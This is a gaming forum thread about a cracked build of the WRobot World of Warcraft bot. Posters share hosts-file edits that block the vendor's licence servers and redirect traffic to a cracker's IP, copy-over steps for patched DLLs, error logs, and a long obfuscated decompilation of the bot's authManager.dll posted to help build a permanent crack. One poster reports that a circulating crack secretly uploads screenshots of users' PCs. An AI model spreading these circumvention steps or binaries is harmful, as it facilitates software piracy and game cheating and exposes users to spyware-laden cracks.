pepanek

Wrobot 2.4 3-3.3.5a legion cracked

43 posts in this topic

Pepanek, please reupload, your link is dead, can't use wrobot without it : )   got the "decrypted" error

Share this post


Link to post
Share on other sites

 

Hi guys, i understand server tumadre is in china, does anyone have a link to their site or tweeter or facebook to monitor whether it will ever work?

Share this post


Link to post
Share on other sites

Is TBC bot still working for people? Mine stopped working suddenly about 3 days ago.  "Play" button doesn't start bot.

Getting the "decrypted" error in log.

Anyone have a solution or can help?

Share this post


Link to post
Share on other sites

doesn't work anymore.

Also why would you block google and google drive?

Share this post


Link to post
Share on other sites

116.89.240.17 is my sever  im come to china  you can login luacn.net for see me

我有WROBOT CRACK的服务器验证源码,但是WROBOT缺失地下城地图。我想把他集齐,或许我会放出新的验证服务器。我的QQ号码1063699397

I have the server verification source code for WROBOT CRACK, but WROBOT lacks the map of the underground city. I want to get him together, maybe I will send out a new verification server.

Share this post


Link to post
Share on other sites
On 9.12.2017 at 2:58 PM, pepanek said:

torrent

Please login or register to see this link.

Old:

Please login or register to see this link.

readme

upravte C: \ Windows \ System32 \ drivers \ etc HOSTS 

127.0.0.1 wrobot.eu
127.0.0.1 download.wrobot.eu
127.0.0.1 google.com
116.89.240.17 tumadre.000webhostapp.com
127.0.0.1 116.89.240.17
127.0.0.1 drive.google.com

1.copy file wrobot 2.4.3(TBC) for Wotlk file BIN\MemoryRobot.dll file:(MemoryRobot.dll)

 

PS: cracked Tumadre

On 11.12.2017 at 7:22 AM, pepanek said:

Ok

Hey Guys 

This dont work at my Client i dont know why

can me anywhere help with this problem.

 

At Log stay 

[E] 00:45:03 - sdfqbgsd gf fd fsdg#1: System.Net.WebException: Die Verbindung mit dem Remoteserver kann nicht hergestellt werden. ---> System.Net.Sockets.SocketException: Es konnte keine Verbindung hergestellt werden, da der Zielcomputer die Verbindung verweigerte 127.0.0.1:443
   bei System.Net.Sockets.Socket.DoConnect(EndPoint endPointSnapshot, SocketAddress socketAddress)
   bei System.Net.ServicePoint.ConnectSocketInternal(Boolean connectFailure, Socket s4, Socket s6, Socket& socket, IPAddress& address, ConnectSocketState state, IAsyncResult asyncResult, Exception& exception)
   --- Ende der internen Ausnahmestapelüberwachung ---
   bei System.Net.HttpWebRequest.GetRequestStream(TransportContext& context)
   bei System.Net.HttpWebRequest.GetRequestStream()
   bei authManager.LoginServer.smethod_12(String string_8, String string_9, Boolean bool_3)

[E] 00:45:13 - grzGRDSFfezfsgfvsdg decrypt.

Share this post


Link to post
Share on other sites

7.3.5 26654

WRobot 2.0.1 (27332)

Copy Auth file WRobot start but ask enter lic but dont give write any thing. Have someone idea what to do?

Share this post


Link to post
Share on other sites
On 3/16/2018 at 3:49 AM, pepanek said:

thanks for the post but the version you posted needs to reach tumadre.000webhostapp.com !
Why? A screenshot is taken from your pc and uploaded to tumadres site... 

I fixed that and removed his code from the binaries.

Instructions:
Get 

Please login or register to see this link.

and extract .zip
copy all contents over to your <wrobottbc>/bin folder.
The memoryrobot version included is for tbc.
116.89.240.17 tumadre.000webhostapp.com 
127.0.0.1 116.89.240.17
"
If you've placed it already.


Original credits still go to tumadra but I really don't agree with uploading screenshots for whatever reason!

Enjoy a clean version

Link is broken.

Share this post


Link to post
Share on other sites

can someone explain how to run bot with wow 3.3.5, bot started, but run button didnt work. 

Share this post


Link to post
Share on other sites
On 09.12.2017 at 6:58 PM, pepanek said:

torrent

Please login or register to see this link.

Old:

Please login or register to see this link.

readme

upravte C: \ Windows \ System32 \ drivers \ etc HOSTS 

127.0.0.1 wrobot.eu
127.0.0.1 download.wrobot.eu
127.0.0.1 google.com
116.89.240.17 tumadre.000webhostapp.com
127.0.0.1 116.89.240.17
127.0.0.1 drive.google.com

1.copy file wrobot 2.4.3(TBC) for Wotlk file BIN\MemoryRobot.dll file:(MemoryRobot.dll)

 

PS: cracked Tumadre

 

Share this post


Link to post
Share on other sites

 

I'm trying to continue the tumadree's work.

we were left without wrobot

I am debugging the dll "authManager.dll"

I hid some parts altered by tumadree

could anyone help me understand these codes

 

I would like to create something definitive, without servers that expire

sorry my English

 

authManager.dll source

 

using authManager;
using robotManager;
using robotManager.Helpful;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Data;
using System.Windows.Markup;

// Type kNzcCLURuuOPXhXhjmZTDuHbdDND with token 0200000C
internal class kNzcCLURuuOPXhXhjmZTDuHbdDND : Window, IComponentConnector
{
  // Field string_0 with token 0400002C
  private string string_0;
  // Field listBox_0 with token 0400002D
  internal System.Windows.Controls.ListBox listBox_0;
  // Field textBox_0 with token 0400002E
  internal System.Windows.Controls.TextBox textBox_0;
  // Field button_0 with token 0400002F
  internal System.Windows.Controls.Button button_0;
  // Field button_1 with token 04000030
  internal System.Windows.Controls.Button button_1;
  // Field button_2 with token 04000031
  internal System.Windows.Controls.Button button_2;
  // Field button_3 with token 04000032
  internal System.Windows.Controls.Button button_3;
  // Field button_4 with token 04000033
  internal System.Windows.Controls.Button button_4;
  // Field bool_0 with token 04000034
  private bool bool_0;

  // Method .ctor with token 06000039
  public kNzcCLURuuOPXhXhjmZTDuHbdDND()
  {
    this.string_0 = "";
    base.\u002Ector();
    this.InitializeComponent();
    try
    {
      this.method_13(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_4<string>(3713447815U)));
    }
    catch
    {
    }
  }

  // Method method_0 with token 0600003A
  public string method_0()
  {
    return this.string_0;
  }

  // Method method_1 with token 0600003B
  private void method_1(/*Parameter with token 08000035*/object sender, /*Parameter with token 08000036*/SelectionChangedEventArgs e)
  {
    if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2((string) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_1((Selector) this.listBox_0)))
    {
      kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_3(this.textBox_0, (string) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_1((Selector) this.listBox_0));
      kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_6((ContentControl) this.button_0, (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_5(new string[5]
      {
        kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_3<string>(2307401696U)),
        \u003CModule\u003E.smethod_6<string>(881301659U),
        kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_2<string>(930534969U)),
        \u003CModule\u003E.smethod_6<string>(1878871673U),
        this.method_2(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_4((Selector) this.listBox_0))
      }));
    }
    else
      kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_3(this.textBox_0, "");
  }

  // Method method_2 with token 0600003C
  private string method_2(/*Parameter with token 08000037*/int int_0)
  {
    if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_9(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_6<string>(798205139U))))
    {
      string[] strArray = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_11(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_2<string>(1813533031U)), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_10());
      try
      {
        if (strArray.Length >= int_0)
          return strArray[int_0];
      }
      catch
      {
      }
    }
    return \u003CModule\u003E.smethod_5<string>(609852942U);
  }

  // Method method_3 with token 0600003D
  private void method_3(/*Parameter with token 08000038*/int int_0)
  {
    try
    {
      if (int_0 < 0)
        return;
label_15:
      int num1 = 265633473;
      while (true)
      {
        int num2 = 2058733173;
        uint num3;
        switch ((num3 = (uint) (num1 ^ num2)) % 7U)
        {
          case 0:
            kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_14(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_6<string>(798205139U)), "");
            num1 = (int) num3 * -301367885 ^ -74343043;
            continue;
          case 1:
            int num4;
            int num5;
            if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_9(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_6<string>(798205139U))))
            {
              int num6 = 92533401;
              num5 = 92533401;
              num4 = num6;
            }
            else
            {
              num4 = 1419485305;
              num5 = 1419485305;
            }
            num1 = num4;
            continue;
          case 2:
            int num7;
            int num8;
            if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_13((string) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_1((Selector) this.listBox_0), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0)))
            {
              int num6 = 975803740;
              num8 = 975803740;
              num7 = num6;
            }
            else
            {
              num7 = 1954423022;
              num8 = 1954423022;
            }
            int num9 = (int) num3 * 1924054371;
            num1 = num7 ^ num9;
            continue;
          case 3:
            goto label_25;
          case 4:
            int num10;
            int num11;
            if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0)))
            {
              int num6 = -1924499998;
              num11 = -1924499998;
              num10 = num6;
            }
            else
            {
              num10 = -2134557877;
              num11 = -2134557877;
            }
            int num12 = (int) num3 * -1108796580;
            num1 = num10 ^ num12;
            continue;
          case 6:
            goto label_15;
          default:
            goto label_16;
        }
      }
label_25:
      return;
label_16:
      List<string> list = ((IEnumerable<string>) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_11(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_5<string>(2862672248U)), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_10())).ToList<string>();
      try
      {
        if (list.Count - 1 < int_0)
        {
label_26:
          int num2 = 1605743880;
          while (true)
          {
            int num3 = 2058733173;
            uint num4;
            switch ((num4 = (uint) (num2 ^ num3)) % 5U)
            {
              case 0:
                goto label_26;
              case 2:
                num2 = (int) num4 * -1510528616 ^ 372436591;
                continue;
              case 3:
                int num5;
                int num6;
                if (list.Count - 1 < int_0)
                {
                  int num7 = 871215156;
                  num6 = 871215156;
                  num5 = num7;
                }
                else
                {
                  num5 = 1370904134;
                  num6 = 1370904134;
                }
                num2 = num5;
                continue;
              case 4:
                list.Add("");
                num2 = 527202647;
                continue;
              default:
                goto label_29;
            }
          }
        }
      }
      catch
      {
      }
label_29:
      list[int_0] = DateTime.Now.ToString(\u003CModule\u003E.smethod_6<string>(285570712U));
label_33:
      int num13 = 1534664249;
      while (true)
      {
        int num2 = 2058733173;
        uint num3;
        switch ((num3 = (uint) (num13 ^ num2)) % 3U)
        {
          case 0:
            goto label_34;
          case 1:
            Others.WriteFile(System.Windows.Forms.Application.StartupPath + \u003CModule\u003E.smethod_3<string>(2871140947U), Others.ArrayToTextByLine(list.ToArray()));
            num13 = (int) num3 * -789044366 ^ 97511429;
            continue;
          case 2:
            goto label_33;
          default:
            goto label_32;
        }
      }
label_32:
      return;
label_34:;
    }
    catch
    {
    }
  }

  // Method method_4 with token 0600003E
  private void method_4(/*Parameter with token 08000039*/int int_0)
  {
    try
    {
      if (int_0 < 0)
        return;
label_17:
      int num1 = 1171364557;
      while (true)
      {
        int num2 = 1086266043;
        uint num3;
        switch ((num3 = (uint) (num1 ^ num2)) % 7U)
        {
          case 0:
            int num4;
            int num5;
            if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_9(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_6<string>(798205139U))))
            {
              int num6 = 953648918;
              num5 = 953648918;
              num4 = num6;
            }
            else
            {
              num4 = 1201619523;
              num5 = 1201619523;
            }
            num1 = num4;
            continue;
          case 1:
            int num7;
            int num8;
            if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0)))
            {
              int num6 = 857368594;
              num8 = 857368594;
              num7 = num6;
            }
            else
            {
              num7 = 1155740664;
              num8 = 1155740664;
            }
            int num9 = (int) num3 * -1624429510;
            num1 = num7 ^ num9;
            continue;
          case 2:
            kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_14(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_2<string>(1813533031U)), "");
            num1 = (int) num3 * 1505043283 ^ -1336572844;
            continue;
          case 3:
            int num10;
            int num11;
            if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_13((string) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_1((Selector) this.listBox_0), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0)))
            {
              int num6 = 1394034340;
              num11 = 1394034340;
              num10 = num6;
            }
            else
            {
              num10 = 1260898643;
              num11 = 1260898643;
            }
            int num12 = (int) num3 * 1920520288;
            num1 = num10 ^ num12;
            continue;
          case 4:
            goto label_1;
          case 5:
            goto label_17;
          default:
            goto label_18;
        }
      }
label_1:
      return;
label_18:
      List<string> list = ((IEnumerable<string>) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_11(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_4<string>(242644285U)), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_10())).ToList<string>();
      try
      {
        if (list.Count - 1 < int_0)
          return;
      }
      catch
      {
      }
      list.RemoveAt(int_0);
label_27:
      int num13 = 1048924206;
      while (true)
      {
        int num2 = 1086266043;
        uint num3;
        switch ((num3 = (uint) (num13 ^ num2)) % 3U)
        {
          case 0:
            goto label_27;
          case 1:
            goto label_26;
          case 2:
            kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_14(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_4<string>(242644285U)), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_15(list.ToArray()));
            num13 = (int) num3 * -439524007 ^ -929216804;
            continue;
          default:
            goto label_21;
        }
      }
label_21:
      return;
label_26:;
    }
    catch
    {
    }
  }

  // Method method_5 with token 0600003F
  private void method_5(/*Parameter with token 0800003A*/object sender, /*Parameter with token 0800003B*/RoutedEventArgs e)
  {
    if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0)))
      return;
    IEnumerator ienumerator_0 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_17((IEnumerable) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0));
    try
    {
label_12:
      int num1;
      int num2;
      if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_20(ienumerator_0))
      {
        num1 = -889710284;
        num2 = -889710284;
      }
      else
        goto label_11;
label_4:
      while (true)
      {
        int num3 = -269399693;
        uint num4;
        switch ((num4 = (uint) (num1 ^ num3)) % 5U)
        {
          case 0:
            num1 = -1878731233;
            continue;
          case 1:
            goto label_14;
          case 3:
            goto label_12;
          case 4:
            int num5;
            int num6;
            if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_19((string) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_18(ienumerator_0), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0)))
            {
              int num7 = -1744253094;
              num6 = -1744253094;
              num5 = num7;
            }
            else
            {
              num5 = -680754302;
              num6 = -680754302;
            }
            num1 = num5;
            continue;
          default:
            goto label_25;
        }
      }
label_14:
      return;
label_11:
      int num8 = -1878731233;
      num2 = -1878731233;
      num1 = num8;
      goto label_4;
    }
    finally
    {
      IDisposable idisposable_0 = ienumerator_0 as IDisposable;
label_23:
      int num1 = -1002068222;
      while (true)
      {
        int num2 = -269399693;
        uint num3;
        switch ((num3 = (uint) (num1 ^ num2)) % 4U)
        {
          case 0:
            kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_21(idisposable_0);
            num1 = (int) num3 * 1929728326 ^ 489559313;
            continue;
          case 1:
            int num4;
            int num5;
            if (idisposable_0 != null)
            {
              int num6 = -1176710233;
              num5 = -1176710233;
              num4 = num6;
            }
            else
            {
              num4 = -2138618259;
              num5 = -2138618259;
            }
            int num7 = (int) num3 * 333120108;
            num1 = num4 ^ num7;
            continue;
          case 3:
            goto label_23;
          default:
            goto label_24;
        }
      }
label_24:;
    }
label_25:
    kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_23(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0), (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_22(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0)));
    kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_25((Selector) this.listBox_0, kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_24((CollectionView) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0)) - 1);
label_29:
    int num9 = -881676142;
    while (true)
    {
      int num1 = -269399693;
      uint num2;
      switch ((num2 = (uint) (num9 ^ num1)) % 3U)
      {
        case 0:
          goto label_29;
        case 1:
          goto label_22;
        case 2:
          this.method_8();
          num9 = (int) num2 * -863444058 ^ 220909351;
          continue;
        default:
          goto label_13;
      }
    }
label_13:
    return;
label_22:;
  }

  // Method method_6 with token 06000040
  private void method_6(/*Parameter with token 0800003C*/object sender, /*Parameter with token 0800003D*/RoutedEventArgs e)
  {
    if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0)))
      return;
    IEnumerator ienumerator_0 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_17((IEnumerable) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0));
    try
    {
label_15:
      int num1;
      int num2;
      if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_20(ienumerator_0))
      {
        num1 = -1377978573;
        num2 = -1377978573;
      }
      else
        goto label_14;
label_4:
      while (true)
      {
        int num3 = -2110857804;
        uint num4;
        object object_0;
        switch ((num4 = (uint) (num1 ^ num3)) % 8U)
        {
          case 0:
            goto label_19;
          case 1:
            goto label_15;
          case 2:
            kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_26(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0), object_0);
            num1 = (int) num4 * -763858149 ^ 1982463527;
            continue;
          case 3:
            object_0 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_18(ienumerator_0);
            int num5;
            int num6;
            if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_19((string) object_0, kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0)))
            {
              int num7 = -1728058150;
              num6 = -1728058150;
              num5 = num7;
            }
            else
            {
              num5 = -161953139;
              num6 = -161953139;
            }
            num1 = num5;
            continue;
          case 4:
            num1 = -366184489;
            continue;
          case 5:
            this.method_8();
            num1 = (int) num4 * -75523013 ^ 1475015467;
            continue;
          case 6:
            this.method_4(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_4((Selector) this.listBox_0));
            num1 = (int) num4 * 997812910 ^ 865712962;
            continue;
          case 7:
            goto label_17;
          default:
            goto label_16;
        }
      }
label_16:
      return;
label_17:
      return;
label_19:
      return;
label_14:
      int num8 = -366184489;
      num2 = -366184489;
      num1 = num8;
      goto label_4;
    }
    finally
    {
      IDisposable idisposable_0 = ienumerator_0 as IDisposable;
      if (idisposable_0 != null)
      {
label_23:
        int num1 = -2068769167;
        while (true)
        {
          int num2 = -2110857804;
          uint num3;
          switch ((num3 = (uint) (num1 ^ num2)) % 3U)
          {
            case 0:
              goto label_23;
            case 1:
              kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_21(idisposable_0);
              num1 = (int) num3 * 1177636283 ^ 1536282571;
              continue;
            default:
              goto label_24;
          }
        }
      }
label_24:;
    }
  }

  // Method method_7 with token 06000041
  private void method_7(/*Parameter with token 0800003E*/object sender, /*Parameter with token 0800003F*/RoutedEventArgs e)
  {
    this.method_3(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_4((Selector) this.listBox_0));
label_5:
    int num1 = 345569360;
    while (true)
    {
      int num2 = 397200831;
      uint num3;
      switch ((num3 = (uint) (num1 ^ num2)) % 4U)
      {
        case 0:
          goto label_5;
        case 1:
          kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_27((Window) this);
          num1 = (int) num3 * 1359660369 ^ -542249508;
          continue;
        case 2:
          goto label_4;
        case 3:
          this.string_0 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_22(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0));
          num1 = (int) num3 * 2005255851 ^ -991058417;
          continue;
        default:
          goto label_6;
      }
    }
label_6:
    return;
label_4:;
  }

  // Method method_8 with token 06000042
  private void method_8()
  {
    if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_24((CollectionView) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0)) > 0)
    {
      kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_28(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_4<string>(3465163606U)));
      StreamWriter streamWriter = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_29(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_2<string>(390431406U)));
      IEnumerator ienumerator_0 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_17((IEnumerable) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0));
      try
      {
label_10:
        int num1;
        int num2;
        if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_20(ienumerator_0))
        {
          num1 = -859861218;
          num2 = -859861218;
        }
        else
          goto label_9;
label_4:
        while (true)
        {
          int num3 = -515999438;
          object obj;
          uint num4;
          switch ((num4 = (uint) (num1 ^ num3)) % 5U)
          {
            case 0:
              num1 = -1452494901;
              continue;
            case 1:
              kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_31((TextWriter) streamWriter, kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_30((string) obj));
              num1 = (int) num4 * -1595839605 ^ -423894859;
              continue;
            case 2:
              obj = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_18(ienumerator_0);
              num1 = -605410333;
              continue;
            case 3:
              goto label_10;
            default:
              goto label_21;
          }
        }
label_9:
        int num5 = -1452494901;
        num2 = -1452494901;
        num1 = num5;
        goto label_4;
      }
      finally
      {
        IDisposable idisposable_0 = ienumerator_0 as IDisposable;
label_19:
        int num1 = -1193490789;
        while (true)
        {
          int num2 = -515999438;
          uint num3;
          switch ((num3 = (uint) (num1 ^ num2)) % 4U)
          {
            case 0:
              kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_21(idisposable_0);
              num1 = (int) num3 * -1472792087 ^ 94005981;
              continue;
            case 1:
              int num4;
              int num5;
              if (idisposable_0 == null)
              {
                int num6 = -946187395;
                num5 = -946187395;
                num4 = num6;
              }
              else
              {
                num4 = -2027191918;
                num5 = -2027191918;
              }
              int num7 = (int) num3 * -2011033088;
              num1 = num4 ^ num7;
              continue;
            case 2:
              goto label_19;
            default:
              goto label_20;
          }
        }
label_20:;
      }
label_21:
      kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_32((TextWriter) streamWriter);
    }
    else
    {
label_30:
      string string_1 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_6<string>(1504731446U));
      int num1 = -1898049019;
      while (true)
      {
        int num2 = -515999438;
        uint num3;
        switch ((num3 = (uint) (num1 ^ num2)) % 5U)
        {
          case 0:
            num1 = -289813201;
            continue;
          case 1:
            goto label_29;
          case 2:
            int num4;
            int num5;
            if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_33(string_1))
            {
              int num6 = 191061139;
              num5 = 191061139;
              num4 = num6;
            }
            else
            {
              num4 = 1582140260;
              num5 = 1582140260;
            }
            int num7 = (int) num3 * -73140926;
            num1 = num4 ^ num7;
            continue;
          case 3:
            kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_34(string_1);
            num1 = (int) num3 * 1124816231 ^ 1168490741;
            continue;
          case 4:
            goto label_30;
          default:
            goto label_18;
        }
      }
label_18:
      return;
label_29:;
    }
  }

  // Method method_9 with token 06000043
  private void method_9(/*Parameter with token 08000040*/object sender, /*Parameter with token 08000041*/EventArgs e)
  {
    kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_36((FrameworkElement) this.button_1, (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_35(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_4<string>(247819681U)), \u003CModule\u003E.smethod_3<string>(828430089U), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_5<string>(3564909968U))));
label_6:
    int num1 = 1813349536;
    while (true)
    {
      int num2 = 902653631;
      uint num3;
      switch ((num3 = (uint) (num1 ^ num2)) % 5U)
      {
        case 0:
          goto label_6;
        case 1:
          kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_6((ContentControl) this.button_0, (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_2<string>(2516496572U)));
          kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_28(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_6<string>(3527570314U)));
          if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_9(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_3<string>(1813961066U))))
          {
            num1 = (int) num3 * -506632126 ^ -2132261433;
            continue;
          }
          goto label_29;
        case 2:
          kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_36((FrameworkElement) this.button_2, (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_35(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_5<string>(3635133740U)), \u003CModule\u003E.smethod_4<string>(1404754191U), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_2<string>(1333440975U))));
          kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_36((FrameworkElement) this.textBox_0, (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_6<string>(992097019U)));
          num1 = (int) num3 * -314366842 ^ 1783497494;
          continue;
        case 4:
          kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_36((FrameworkElement) this.button_0, (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_6<string>(2474602620U)));
          num1 = (int) num3 * -1478830278 ^ 369855998;
          continue;
        default:
          goto label_7;
      }
    }
label_7:
    string[] strArray1 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_11(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_2<string>(390431406U)), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_10());
    try
    {
      string[] strArray2 = strArray1;
      int index = 0;
label_27:
      int num2;
      int num3;
      if (index < strArray2.Length)
      {
        num2 = 1050322333;
        num3 = 1050322333;
      }
      else
        goto label_26;
label_10:
      while (true)
      {
        int num4 = 902653631;
        uint num5;
        string string_1;
        switch ((num5 = (uint) (num2 ^ num4)) % 10U)
        {
          case 1:
            int num6;
            int num7;
            if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(string_1))
            {
              int num8 = -1586106519;
              num7 = -1586106519;
              num6 = num8;
            }
            else
            {
              num6 = -154751098;
              num7 = -154751098;
            }
            int num9 = (int) num5 * -310253827;
            num2 = num6 ^ num9;
            continue;
          case 2:
            string_1 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_37(strArray2[index]);
            num2 = 249440952;
            continue;
          case 3:
            int num10;
            int num11;
            if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_24((CollectionView) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0)) > 0)
            {
